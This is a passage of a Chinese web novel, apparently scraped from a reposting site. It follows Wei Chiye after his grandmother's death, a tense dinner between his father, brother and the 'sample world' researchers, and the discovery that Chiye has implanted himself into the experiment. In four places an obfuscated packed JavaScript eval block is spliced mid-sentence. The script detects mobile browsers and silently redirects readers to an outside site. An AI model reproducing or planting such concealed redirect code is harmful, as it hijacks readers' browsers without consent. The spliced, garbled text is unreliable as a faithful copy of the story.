长辈的期望古往今来都是一种善意的枷锁,是独裁者温柔的锁链。 有些人能够通过自己的努力,满足对方的寄愿,从枷锁中挣脱出来,得到一种发自内心的完满。 可总有人没办法达成。没办法达成的那些人中,有些一生都在为其努力,而有一部分则选择了放弃。 而放弃的人,则永远也不会知道,被父母认可是种怎样的感觉。 为了永恒地存在于变化多端的世界上,人类有了新生和死亡。新生之人是血脉的延续,是永恒的执行者,新生者总会想要证明自己能够达到先辈的标准,而后继承他们生命的重量,完成这场永恒的存续。 他们和父母的记忆不一样,性格不一样,但是,那种对于永恒的畅想却是相同的。如果把时间拉长,千年、万年,而后又把一条血脉上的人看作是一条源远流长的生命,那么,新生之人的得到年长者的认可,其本质,可以说是得到了“自己”这个永恒的生命体的认可。 就像是年初的时候,自己对自己说,我要成为一个怎样的人。 而后,经历了一年,体内的细胞经过代谢,从微观上来讲,自己已经不完全是自己,经历的种种事情也在颠覆着曾经的想法。但是,这个自己依然继承着曾经的意志。年末时回望今年,记起年初时定下的目标,达成了,就会有一种欣慰的自豪,没有,就会感到自责和懊恼。 而这和父母的期望是何其相似,只是,不同个体之间的期待,的确要更加不可控、更加沉重一些。 可是逃避这种期望,又会造成一种对于自身认可的缺失。 蔚迟野深深地吸了一口气,从墓碑旁站了起来。 但没关系,他已经失去很多了,人早就变得东一片西一片,丑陋不堪。再多一块缺憾,似乎也不算什么。 他俯下身去,在奶奶的墓前低声说了些什么,那是只有她一个人能听见的话语。 说完了,蔚迟野捡起自己被摔碎的手机,最后看了一眼奶奶的墓碑。 太阳在西落,日光把人们的影子拉得很长,一道孤影走出了墓园,没有留下半点踪迹。 ## 黑色的轿车中,男人挂断了电话,神情厌烦。 “是谁的电话,爸?”蔚天楚问。 蔚统将手机关了机,“不用在意。” 专职司机将车停在高档餐厅的门口,父子两人下了车。 “等下好好表现,知道吗?”蔚统向自己的二儿子嘱咐道,“你哥搞砸的机会,你可不能再出什么差错了。” 蔚天楚嘲弄一笑,但他很快紧绷自己的脸,恢复乖巧的模样,“嗯,我会的。” 他们面前的是一家两层高的饭店,店面古雅气派,门口站着一个女接待员,衣装得体,姿态端庄。她见了客人,也不大声吆喝着请进门,而是微笑着看了眼车牌号,对下车的几人做了一个恭请的手势,“请里面走,蔚先生,我带您去包厢。” 他们来到店内,室内的光线有些昏暗,但不至于让人看不清。店里十分清净,几乎听不到其他客人的交谈声,座位之间用人工种植的绿竹相隔,放眼望去,几乎看不到几个人影。溪水从一个池子流淌到另一个池子,水流声十分悦耳,甫一进门,仿佛深入了一世外桃源一般,连空气都是清新的。 建筑只有两层,但却装配有电梯。女接待员带他们进入,此时,年长的男人向她问道:“方先生到了吗?” 女接待微微倾身,回答,“方先生还没有到。他来了之后,我会第一时间将他引到包厢。” “是我们来早了啊,爸。”蔚天楚说道。 “本来就是我们有求于别人,等一等也是应该的。”蔚统说。 在女接待的引导下,他们走进了其中一个包厢,里面的装修风格和楼下别无二致,竹林、流水,曲高和寡。 女店员站在门口,问道:“两位先看菜单,还是等人来齐了之后再看?” “拿来我们先看看吧。”蔚统说道。 “好的。” 不过多久,餐具被摆到了两人的面前,服务员留了四把椅子,另外两把静待来客。 蔚统最开始看菜单的时候,还显得十分有耐心。可过了一阵子,他就开始看一眼菜单,看一眼手表。 而直到把那包装精美的菜单来来回回看了五六遍,他们等待的贵客似乎还是没有抵达。 男人戴着名贵戒指的手搭在桌面上,四指轮流敲击桌面,发出连续的撞击声响。 蔚天楚看过去,说道:“父亲,方远韶迟到了。” 蔚统没什么表示,只是说道:“再等等。” 又过了一阵子,一阵咕噜声从蔚天楚的胃里发出来,那是痉挛的声响。他再度朝蔚统望过去,皱起眉头,模样有些埋怨,“时间是他定的,却迟到了这么久,他是不是在耍我们?” 蔚统从鼻翼出了一口气,蕴含着一些异样的情绪。 见蔚统没有回答他,蔚天楚也不再询问,低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565757|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己的手机上玩起游戏,手指快速地戳弄着屏幕,发出哒哒的声响。 “你能别玩了吗?”蔚统有些厌烦说道。 蔚天楚看了自己的父亲一眼,没说什么,只是脸上积起了怨气。他退出了游戏,把手机甩到一边,双臂抱住自己,往座位下一窜,半躺在靠背上,一副百无聊赖的模样,闭着眼睛等待。 蔚统拿出了另一部手机,那和他刚才关机的那个不同。他给一个号码拨去电话,等待片刻之后,他堆起来满脸笑容,说道:“欸欸,方先生的助理是吗?请问方先生——啊……脱不开身……好的。那他大概还要多久?呃,两个小时……好,行,我们没有问题。” 挂掉了电话,蔚统把手机往餐桌上一甩,小声嘀咕着,“妈的,摆什么架子。” 蔚天楚在一旁闭目养神,什么反应也没有。 “服务员!”蔚统大声喊道。 脚步声临近,一个模样端正、相貌堂堂的年轻男店员进入包厢,“先生需要点菜吗?” 蔚统拿过一旁的菜单,一手捏着,另一只手指着上面的菜名,“给我来一个这个,还有这个。” “您稍等。”男服务员绕到蔚统的身后,以便他能看到菜谱上的图样,“麻烦您再说一遍,您需要什么?” 蔚统抬头,白了服务员一眼,声音拉长了,指着菜谱上一道清蒸鱼,还有手工肉卷,“这个——还有这个。然后这个也要。这页这几个每种给我来一个。” 他说完,合上了菜单,往服务员怀里一塞,“让他们快点上菜。” “好的,先生,我给您重复一遍,您点了——” “不用念,赶紧去催厨房做菜,快点给我上来。”蔚统打断了服务员。 年轻人收起菜单,声音放轻了些,说了声好的,快步离开了包厢。 蔚统长疏了一口气,闭起嘴,下颚往前顶,舌头在嘴里不停地蠕动。他看了蔚天楚一眼,说道:“儿子,一会儿咱们先吃,不等那个不守时的。” 过了一阵子,服务员将开胃菜端了上来,没过多义,主菜也上了。父子俩毫不犹豫,开始大吃特吃。 蔚天楚往嘴里塞了一块鱼肉,咀嚼着,“味道一般,普普通通。” 蔚统朝桌上吐了块牛骨,嘀咕道:“方远韶的品味也不怎么样啊,这种东西在外面哪都能吃到。” 父子俩一边点评,边像风卷残云一样,把桌上的食物横扫一空。 吃完后,蔚统打了个饱嗝,招呼服务员进来收拾这一桌子残局。 “钱先结了。等方先生来了之后,新点的东西另算。”蔚统一边用牙线剔着齿缝里的肉,一边说道。 “好的。”服务员应了一声,转身去取账单。 一时间,包厢内有些嘈杂。服务员的走动声,碟碗的碰撞声,轻言细语的交流声,甚至分不清有多少人在同时走动。 而就是在这样混乱的环境中,一个令人无法忽视的沉着男声响起。 “久等了,蔚先生。” 蔚统一个激灵坐直了,看向包厢的门口。那里站着一男一女,男人身板比直,女人打了个哈欠。 方远韶看着里面的一片狼藉,不为所动,“有些事情耽搁了,为表歉意,账我已经结了。” 285. 饭局2 一旁,柏汝恭模样有些惊叹,低声说:“已经开吃了?” “方、方先生,这多不好意思。”蔚统立刻起身迎上来,笑呵呵地说道,“我以为您还要一阵才能到呢,哎呀,我家小孩嚷嚷着饿,实在没办法,就让他先吃了。我呀,可是一直在等方先生您的。” 蔚统这么说着,然而却禁不住打了个嗝。一股发酵过后的味道从他的嘴里传出来。首当其冲的方远韶偏过头去,往包厢里走,不着痕迹地逃离了荼毒。 另一旁,蔚统的模样却是尴尬至极,他悻悻回到自己的座位上,大声吆喝道:“服务员!有点眼力价行吗?把菜单拿过来!” 年轻的男店员应了一声,小跑着过来,将菜单递到蔚统的手上。后者瞪了他一眼,仿佛在责怪他不会来事。蔚统再度打开那让被他翻烂的菜谱,递到方远韶的面前,“方先生看看想吃什么?” 方远韶接了过来,又招招手,让服务员过来,跟他报起了菜名,“一份虫草花炖鸡汤,半份西南醉虾,桂花蜜瓜片要一份,招牌菜来些口味清淡的……” 点菜的时候,蔚统便在一旁看着,他模样有些不安,一条腿不停地颠动,双拳在桌子下面握在一起,一副欲言又止的模样。 终于,等到方远韶念完了菜名,蔚统支走了服务员,亲自站起来,给方远韶和柏汝恭各倒了一杯茶水,“方先生,柏女士,这应该还是我们第一次这么正式地面对面吃饭吧。天楚也是和两位没什么交流,只在身体测验和前一阵的会议上与您两人说过话。来,天楚,再跟二位正式介绍一下自己。” 蔚天楚微不可闻地皱了皱眉毛,然而还是站起来,模样有些不情愿。他吸了口气正要说些什么,方远韶却抬了抬手,示意蔚天楚不用这么做。 方远韶:“不必为难小孩,我们大人有时候都不清楚自己怎么回事,让一个小孩介绍自己,他又怎么可能介绍清楚。” “啊……是,您说的在理。”蔚统给蔚天楚使了个眼色,让对方坐下。 蔚天楚瘪了瘪嘴,像是有些不服气,但还是没说什么,瘫坐回座椅,把玩着自己面前新上的餐具。 蔚统回到自己的座位上,从脚边拿起一个长条状的礼盒,背部几乎躬成了虾,脚下小碎步踮着,来到方远韶的身边,谄笑着说:“方先生,这是我老家那边的特产,这次特意给您带了一些过来,您不嫌弃的话……” 方远韶看着他手里的东西,那是一个金色的长条形礼盒,上面没有商标,没有文字,只有一些暗哑低调的印纹。男人扬了扬眉,问道:“这里面是什么?” “一点小小心意。”蔚统笑着说。 方远韶看了柏汝恭一眼,后者耸了耸肩,仿佛在说,她也不知道。 方远韶没有接过来,而是用桌面上的热手巾擦了擦手,说道:“这个,蔚先生,东西先不用交给我,我们先说事,那之后,这份特产你再看要不要送给我。” 蔚统听了,明白这是什么意思,连连点头,“也好,也好。” 蔚统回到了自己的座位上,把那长条形的礼盒重新小心翼翼塞回桌面下,吸了吸鼻子,像刚才什么都没发生一样。 此刻,服务员开始陆陆续续上前菜。正餐开始前,方远韶端坐在实木坐椅上,抱臂看向他对面的蔚天楚。他们四个人两两坐在一起,而方远韶的侧前方就是这里年纪最小的男孩。 “天楚,你今年多少岁了?”方远韶向对面的蔚天楚问道。 蔚天楚抬眼,看了眼方远韶,表情看上去有些冷淡。他顿了顿,说道:“再过三个月十七。” 方远韶:“哦,那就是还没有成年。” 蔚天楚盯着对面的男人,那有些不忿的目光仿佛在说,那又怎么样。 方远韶没有关注男孩的表情,转而向柏汝恭征询道:“柏主任,最近事情多,我总记不住东西。实验者要是想从零开始进入样界,是不是有什么年龄限制来着?” “年纪倒是还好。”柏汝恭推了推自己的眼睛,回答道,“就是建议起码得是高中毕业的学生,不然样界对大脑产生了什么影响,耽误了学业的话,我们不承担任何连带责任……” 方远韶目光炯炯,“我想蔚先生带着天楚来这里,是已经想清楚了这件事情,也看到了它可能带来的危害。” 蔚统像在为什么作保一般,说道:“我相信方先生,样界实验肯定技术已经相当成熟,不会对实验者产生什么危害。正是因为对方先生有信心,最初我才让蔚迟野参加。而事实证明,实验的确对他没有产生什么影响。” 方远韶拿起筷子,夹起开胃菜,模样稀疏平常,仿佛在自己家里吃一顿饭一般,“这我不敢保证,还请不要那么相信我。” “方先生谦虚了。” “蔚迟野能够两次顺利出入样界,多少有些运气的成分在,他没出什么意外倒是令人意外。”方远韶说,细细品尝嘴里的小菜,“不过,就像我们一直承诺的,就算实验者出事了,我方也会提供可观的经济补偿。” 蔚统接连说道:“是,方先生在业界里面的道德素养与责任心,向来不会有任何人质疑。” 方远韶拿筷子晃了晃,“吃饭吧,方先生。哦,我忘了,你们已经吃过了。那请自便吧。” 蔚统呵呵笑了两声,声音有些尴尬。当下,他肚子浑圆,但似乎是出于陪吃的想法,还是拿起筷子夹菜。 一旁,蔚天楚紧皱着眉头,盯着方远韶问道:“要是进入样界出事,我会怎么样?” 没等方远韶开口,嘴里塞着好几种菜的柏汝恭嘟嘟囔囔说道:“进入样界代表意识从身体向样界转移,那是非常精密的过程,也需要实验员们集中全部注意力进行操作。如果出现了意外情况,可能你的意识最终会回不到大脑,或者遗失一部分。” 蔚天楚问道:“那是什么意思?” “就是说,如果意外发生了,你有可能失忆,也有可能变成植物人。”柏汝恭一边说着可怖的话,一边做出一副吊死鬼的模样,试图扮演她口中的植物人,“专业点来讲的话,就是你可能会因为反应中枢失效,而丧失一部分的身体机能。即你的身体虽然拥有做出某种行为的条件,但是大脑却不这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577719|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为,所以你可能会丧失行走、跳跃、跑步、说话,或者某些其他的基本能力。” 蔚天楚瞪大了眼睛,头颅猛然一转,盯着自己的父亲。那震惊的眼神仿佛在说,这种事情,他曾经可从来都不知道。 蔚统拍了拍儿子的肩,冲对面两人说道:“哈哈,这种事情,只有万分之一的几率,我儿子这么优秀,是不可能发生在他身上的。” 听到蔚统这句话,蔚天楚好像没有刚才那么惊慌了,他呼了口气,靠到座椅靠背上,双臂抱胸,头颅上扬,一副重拾信心的模样。 菜上得差不多了,几人都招呼着让对方快吃。 “方先生,您看,天楚能担当得起下一个进入样界的重任吗?”蔚统小心翼翼地问。 方远韶垂着眼神,含糊地回答,“目前来看是没什么问题。” “太好了。”蔚统像是因什么事情板上板上钉钉而雀跃,紧拧了一下拳头,“那我们之前说好的条件……” “亚森学院名额的话——” “不,不,呵呵,您忘了,咱们不是说要小小地变更一下吗?”蔚统谄笑着说。 方远韶有些困惑,朝身边的女人问:“说过这事?” 柏汝恭嘴里塞得满满当当,一时没工夫回答他,只是点了点头。等好不容易咽下去了,才朝对面两人说,“他贵人多忘事,多担待,多担待。” “……”方远韶一时有些无言。接着,他朝蔚统问道,“名额不给你大儿子了?” “对,对,不要了。”蔚统说。 “小儿子也不用?” “切,谁稀罕。”蔚天楚不屑地说道,他脖子傲然地昂起来,不可一世,“就算现在跳级,对我来说,想考上亚森学院也不是什么难事。根本不用像我那没用的哥哥一样,还要通过什么样界实验这种歪门邪道的方式才能拿到入场券。” 他说完这段话,对面,方远韶夹菜的动作一顿,身体明显有些僵硬。 空气一度安静下来,蔚统尴尬地笑着,一边打圆场,一边转移了话题,“天楚的意思是,他很自信,能够顺利完成方先生交代给他的任务……其实、其实这次的新条件,与院校名额相比,对方先生来说只不过是举手之劳。只需帮忙引荐一位客户就行,对方是一个我们公司多少年都没啃下的硬骨头……” 方远韶垂着眼睛,没有回话,直到他慢悠悠吃完了碗里那块带刺的鱼肉,才无视蔚统的话,对对面的男孩缓缓说道:“天楚,你可能误会了一些什么,考虑到你有可能是下一个从零进入样界的候选人,我有必要告诉你,这个实验不是游戏,进入到那个样界之中,你面临的将是一个绝对残酷的世界。在那里,你只有自己,我们在外界无法给予你任何的援助。你会完整地进去,而后带着创伤出来。” “什么创伤?说得那么吓人。”蔚天楚反问。 方远韶放下了筷子,盯着对面的父子俩,神情肃穆,“……在蔚迟野离开样界之后,回到家里,你们没发现他有任何变化,没有和他哪怕进行一场谈话,问问他在样界里度过了怎样的一生吗?” 286. 饭局3 对面的两人沉默了,面面相觑。 方远韶轻吟了一声,意味不明地说:“不过,世上确实有这样的家庭就是了。” “怎么会有创伤呢。”蔚统说,“我看他模样挺正常的。” 方远韶朝身旁侧头,低声询问道:“柏主任,实验者蔚迟野在样界里死亡过多少次?” 柏汝恭脱口而出,像是对这个数字烂熟于心,“五百二十七次。” “五百二十七次。”方远韶重复着,“一个十八岁的孩子,在一个陌生的世界,经历了五百二十七次的死亡,而他出来的时候精神依然正常。柏主任在总结大会上陈述这两次实验报告的时候,我的科学家同僚们甚至没有一个人相信这是真的。” 蔚天楚瞪着眼睛,一副瞧不起的模样,“那又怎么样?那只是个没有实体的样界,在里面的死亡又算什么?那不就像是打游戏一样,随随便便死了,随随便便复活。而且,五百多次……就是因为他太差劲了,才会死那么多次啊。” “你依然觉得这是一场无关痛痒的游戏。” 蔚天楚信誓旦旦,“它给人的感觉就是这样。” 方远韶盯着年轻人,沉思了片刻。 一旁,蔚统有些难为情地说道:“方先生,我儿子打小就有点聪明过头,总是比周围的同龄人厉害,久而久之,可能心态就傲慢了一些……还请您对他的无礼不要太放在心上。” “小孩子心高气傲是好事。”方远韶说。 “那您看,方先生,咱们的交易……” “我还需要考虑。” 蔚统放低了姿态,征询地问道:“您还有哪里不满意吗?” 方远韶咽下了嘴里的饭菜,他逐字逐句清晰地说:“我的确有一些顾虑。但还请不要误会我,蔚先生,并不是我想要为难你,我也只是为了天楚着想。身为样界研究总负责人,我必须对实验者负责。” “为天楚着想?”蔚统不解,问道。 这时候,柏汝恭抹了一把嘴,开口说道:“实际上,方先生的顾虑在于,我们之前为天楚做能力测验的时候,得出的资质分数有些不尽人意。那个分数,作为实验者来说是不合格的。” “哈?”蔚天楚像是听到了什么震天的新闻,发出巨大的质疑声。 “这是怎么回事?”蔚统也疑惑地震惊道,“之前让他进入样界收拾蔚迟野烂摊子的时候,明明说他的资质已经达到标准了呀。” 柏汝恭:“那是因为,如果只是继承迟野的进度,并没有什么难度,不过是短暂地潜入,用格式化程序消除一个人罢了。但是,现在迟野不配合我们,所以,我们当下需要的,是一个像迟野一样,能够从零开始、长时间潜入样界的实验者。” 听到这里,蔚天楚的声音渐渐有些激动,“你的意思是,他能做到,我做不到?” “很大概率是这样,你的资质和他差太多了。” 年轻人的声音拔高了好几度,“怎么可能?!你们到底测得准不准!” 柏汝恭也不反驳,只是顺着说道:“测验的确可能会误差,但是也不过就是零点几的差异。你综合得分27,他综合得分235,误差再怎么大也不至于影响量级。” 蔚天楚咬紧了牙关,模样震惊又愤怒。 “而这两百多分的差距,会导致意识损毁的概率显著提升。”柏汝恭推了推自己的眼镜,摆出一副学者的形象,“也就是说,我们刚才提到的进入样界导致神经病变的可能性,在迟野身上,这个概率是千分之一,而到了天楚你的身上,可能就变成了十分之一。” 蔚天楚冷着脸,盯着柏汝恭,一言不发,身体颤抖。 柏汝恭:“十分之一可不是什么小数字,它已经不是概率学上的一粒沙子了,根本就是石——” “不可能!”蔚天楚打断了柏汝恭的话,满目愤然,“他什么时候有过比我更高的分数?从未!我比他优异,无论什么方面都是,这是我们命中注定的差距!” 蔚天楚说完,自己开始呼哧呼哧地喘着气,脸色因激动而发红。 柏汝恭扬了眉毛,一时没说话。而方远韶则处理着盘子里一根倔强的绿色青菜,试图把它切开,忙得不亦乐乎。 女人再度开口,拿出一种哄小孩的口吻,“你们都是蔚先生的孩子,你哥哥又能比你差到哪里去呢,对不对?” 蔚天楚不吃这一套,笃定道:“我和他不一样,不要把我和那个废物相提并论。” “喔哦,这么称呼自己的家人可不好。”柏汝恭说。 “关你什么事。”蔚天楚道。 “蔚先生也认为迟野一无是处吗?”突然,柏汝恭话锋一转,向孩子的父亲抛去。 此时,方远韶也一边用小刀和那顽固的青菜对抗,一边抬起头来看向对面的年长者,表示出他对回答的兴趣。 蔚统的模样犹犹豫豫,最终他说道:“那孩子……很拼命地学习,我也给他找了很多补习班,但是,成绩就是怎么都上不去。我也不知道是怎么回事,天楚这么聪明,迟野怎么就……” “可能他有什么其他的天赋吧?”柏汝恭说道,盯着蔚统,神情有些淡漠,“一些很难被觉察到的能力,一些父母不留心的话,就绝对不会觉察到的方面。” 一旁,蔚天楚显然不屑,说道:“废物就是废物。一方面不行,其他方面也是一样。” 柏汝恭:“但是,他的确在样界的适应测试中取得了很不错的成绩。我们接连考验了他五天,那些测验都通过了,才允许他进入样界。” 蔚天楚道:“不过是一些下三滥的测验罢了。” 蔚统一惊,低声震慑道:“天楚!别再乱说话了。” “下三滥吗?”柏汝恭说道,面容冷淡,盯着对面的父子两人,“的确,那都是一些很难衡量的主观指标,和你们平日严格标准的考试相比,我们的测验方式可谓是不务正业。” “当然了。”蔚天楚未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588407|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾停歇,还在和对面的女人争论,“听起来就像是旁门左道。” “天楚……!”蔚统再次提醒。 柏汝恭似乎也没有就此作罢的意思,继续说道:“我们测验的也不过是心灵的力量,是精神的稳定性,是意识的坚韧程度,是在陌生环境下的自我调节能力,是洞悉本质的才能。” “那些东西又有什么用?”蔚天楚不屑地问道。 “不知道。但它可以让人在绝境之中仍然坚韧,让人能够理性对待死亡的威胁,在被夺走了一切之后依然有存活下去的渴望。”柏汝恭说,“无论在怎样的逆境之中,只要还有想要达成的目标,就绝对不会放弃对它的渴望,不管有多么艰难,也坚信自己有足够的力量去最终实现它。” “所以,我问,这些有什么用?”蔚天楚丝毫不掩饰自己的鄙夷,说道,“听上去就是些虚无缥缈的自我勉励而已!” 柏汝恭盯着蔚天楚,突然,她像觉得没劲一般,懈怠了下来,应付说道:“是啊,没用。” 就在这个时候,一阵尖锐的响声在包厢里爆炸开来。 先是有一个什么东西在鸣叫,而后,又有一个完全一致的声音响起来。 人们往声音的源头看去,那是分别戴在方远韶和柏汝恭手腕上的手环。那并不是手表,而是一个扁扁的金属长条,绕在手腕上,几乎没有什么厚度。 方远韶皱着眉,在手环上按了一下,刺耳的鸣叫声停止了,而柏汝恭也进行了和他一样的操作。 包厢里安静了下来,方远韶的脸色有些阴沉,他向一旁的人问道:“样界不是在暂停状态吗,为什么会启动?” 柏汝恭脸上还带着震惊的余波,她从挎包里掏出自己的手机,在上面飞快地打字,似乎是在给什么人发消息。与此同时,她朝方远韶说道:“还不清楚,不排除是误报。我不在实验室,没有指纹指令,按理来说其他实验员不可能启动样界。” “样界数值现在正常吗?” 柏汝恭顿了顿,脸色渐渐变得有些惨白,“……不正常。这不对劲,有人在操作什么,寒冰枷锁的控制在减弱。” 方远韶难得面露惊讶,“脱离了?” “还不确定。”柏汝恭猛然抬起头来,“我们得回去!” 方远韶神情凝重,旋即起身,转身离开包厢。柏汝恭紧随其后,视线和手指都粘在手机上,片刻不离。 两人行动飞快,一时所有人都不太明白发生了什么。 见他们离开,蔚统模样当即有些着急,把脚底下的金色礼品盒拽出来夹在腋下,连忙招呼蔚天楚和他一起跟上去。 楼下,方远韶叫在外等候的助理结了账,而后几人火速奔向一辆私家车,上车的同时发动机也点了火,车辆一溜烟就离开了饭店的停车场。 蔚家父子也上了自己的车,要求司机追上那刚刚离开的车辆。 于是乎,夕阳之下,两辆高档私家车在马路上一前一后地狂奔。 287. 选择1 夜色降临时,两辆车一前一后来到了实验大厦的楼下,方远韶和柏汝恭下了车,十万火急,往大厦中赶去。 后面赶来的蔚统和蔚天楚也下了车。虽然从头到尾,方远韶都没有说过需要他们跟过来,但是这父子两人还是像跟屁虫一样粘了上来,好像突发情况对他们来说也是天大的事情一般。 方远韶在前方开路,气势汹汹。员工看到这栋大厦的持有者以一副阴沉的面庞走来时,都不由纷纷让开了道路。 柏汝恭跟在他后面,依然在忙不迭地在自己的手机上确认着什么,她就像是一个自动跟随的小尾巴,头也不抬,却能紧紧跟住前方的方远韶。 他们二人进了电梯,电梯门正要关闭,只见蔚统带着儿子从远处跑过来,也着急忙慌地挤了进来。 四个人站在电梯间里面,一时无言。 方远韶没有问他们为什么跟上来,男人模样心事重重,好像完全看不见眼前还有两个无关人员似的。 蔚统也不解释跟过来的原因,他只是表现出自己的关心,好像他非在场不可似的,仿佛如果样界真出了什么事,他一定会殚精竭虑出谋划策在所不辞。 “柏女士,这个,样界自主启动,意味着什么呀?”像是觉得电梯里的气氛太压抑,蔚统没有直接和那个黑着脸的方远韶说话,而是转向看上去好说话的女人,向她别出了一个问题。 哪想到,柏汝恭根本没有理他。女人在自己的手机上忙碌,根本无暇旁顾。 她打开了一个界面,那是其他工作人员给她传来的画面,她盯着它,目光滞愣,整个人都僵住了。 一旁,方远韶注意到了柏汝恭的停顿,向她问道:“怎么了?” 柏汝恭放大同事给她发来的图片,那是一张监控画面,“实验舱里面……有人。” “什么人?”方远韶问。 还未等柏汝恭回答,叮的一声,楼层到了。方远韶没有等柏汝恭的回答,率先冲了出去,实验室就在电梯近处,很快就能亲眼看到到底是什么人在里面。 走出电梯,就看到一伙实验人员围拢在一起,神情紧张,步伐匆匆,正往实验舱的方向赶去。他们那么紧绷、全神贯注,甚至没有注意到方远韶刚刚从一旁的电梯里出来。 在那一群快步前行的实验员中,传来了这样的对话: “终止离析的可能性有多少?”一个实验员问。 “不乐观。实验者适配度很高,他以植入样界的通道为壁垒,阻断了我们的访问。” “我们之前没教过他这些东西吧?”一个人问道。 “没有。” “那是怎么做到的……” 方远韶等人就跟在这一众实验员的后面,快步往实验室走去。 越是往实验室走,实验人员便越多、越匆忙。来到实验室门口,看到许多身影在阴暗冰冷的实验室里操忙着,围着正中央的实验舱忙忙碌碌地打着转。 方远韶刚一脚踏入实验室,就有人注意到了他的到来,不知是谁咳嗽了一声,实验室内的工作人员纷纷转过头来,陆陆续续都发现了站在门口的方远韶。 实验室安静了下来,偶尔响起两三窃窃私语。 方远韶没有理会,神情严肃地径直往实验舱走去。实验人员们无声地为他让路,没有一个人站出来向他解释发生了什么,人们都不熟悉这个经常不出现的大厦持有者,唯恐贸然搭话会惹对方不快而给自身招致麻烦。 样界的创造者进入了实验舱内,他四下观望,双眼蓦然大睁。 透明的实验舱内,那个为实验者所用的休眠舱里,躺着一个人,有几根线从他的后脑探出来,连接在一旁的电脑主机上。 而在休眠舱后面,巨大的样界投影在细微地颤动着,寒冰枷锁也在不安地抖动,整体看上去十分不稳定。 一旁的计算机处理区则凌乱不已,桌面上有几张写着凌乱字迹的纸,几台电脑副屏上出现了乱码,而主屏上正流淌过一行行代码,似乎有什么程序在飞速地自动运行着。 柏汝恭跟在方远韶后面进了实验舱,看到电脑主屏上的情况,立刻扑上去,开始在键盘上噼里啪啦地敲打。 不过半晌,女人泄气地不再操作,肩膀也耷拉下去,“停不下来……” 听到女人的话,方远韶的神情越来越凝重,望向那不断颤动的样界投影,模样若有所思。 这时候,蔚统也进入了实验舱,他大大咧咧问询着发生了什么,怎么这么多人都聚在这里。而后,当他看到那个倒在休眠舱上的身影时,话语一顿,紧接着发出巨大的噪音,“你小子怎么在这!?” 蔚统走上前去,枉顾自己是否有在这里胡闹的资格,把那躺在休眠舱里的人提了起来,怒目瞪视着对方。 而被他提起来的年轻人身体很软,眼睛微睁着,头颅向后坠去,手臂也无力地垂在身体两侧。 “你在这干什么呢!”蔚统向对方吼道。 柏汝恭应激一般,站起来,立刻制止,“蔚先生!看这样子,迟野的意识应该在样界里,不要贸然移动他的身体,不然可能造成无法挽回的神经——” 蔚统像是完全没有听见柏汝恭的制止,摇晃着年轻人的身体,怒问道:“是你引起的骚动吗?啊!?你什么意思啊?” 在父亲愤怒的叫嚷面前,儿子没有给他任何的回应。 蔚统气急败坏,一巴掌扇了过去,“给我说话!” 柏汝恭吸了口气,一只手伸出去,像是要抓住什么一般,但是,她没来得及制止蔚统的暴力。 蔚迟野的头歪向一侧,又被蔚统扳回去。年轻人还是微睁着眼睛,没有一星半点开口的意思。他的视线轻飘飘落在前方,好像在看他的父亲,又好像什么都没看。 这时候,有实验员挤进已经略显拥挤的透明舱室,手里拿着一个平板,向柏汝恭汇报道:“柏主任,有两项紧急事态。” 柏汝恭转移了注意,问道:“你说。” “第一点,寒冰枷锁程序正在被从样界内部破解,我们已经在组织人手和其对抗,目前来看勉强能僵持。” “第二点呢?” “第二……”实验人员看了一眼电脑屏幕,又看了一眼休眠舱上毫无反应的人,“创生通道被开启了,植入已经成功,通道正在闭合,那些代码就是证据。这次植入违反了条例……那个人,他是在活体状态下将自己植入进去的,这在以前一直被严令禁止。人道主义部门的监管人员正在赶来,柏主任,我们可能得想想怎么解释。” 听完这两点,柏汝恭低下头来,摘掉自己的眼睛,揉了揉眼睛,一副愁眉不展的模样。 此刻,一旁传来了咚咚的响声,那是蔚统反复把蔚迟野提起来,而后又把他砸在休眠舱上的声音。 “他妈的找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598986|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 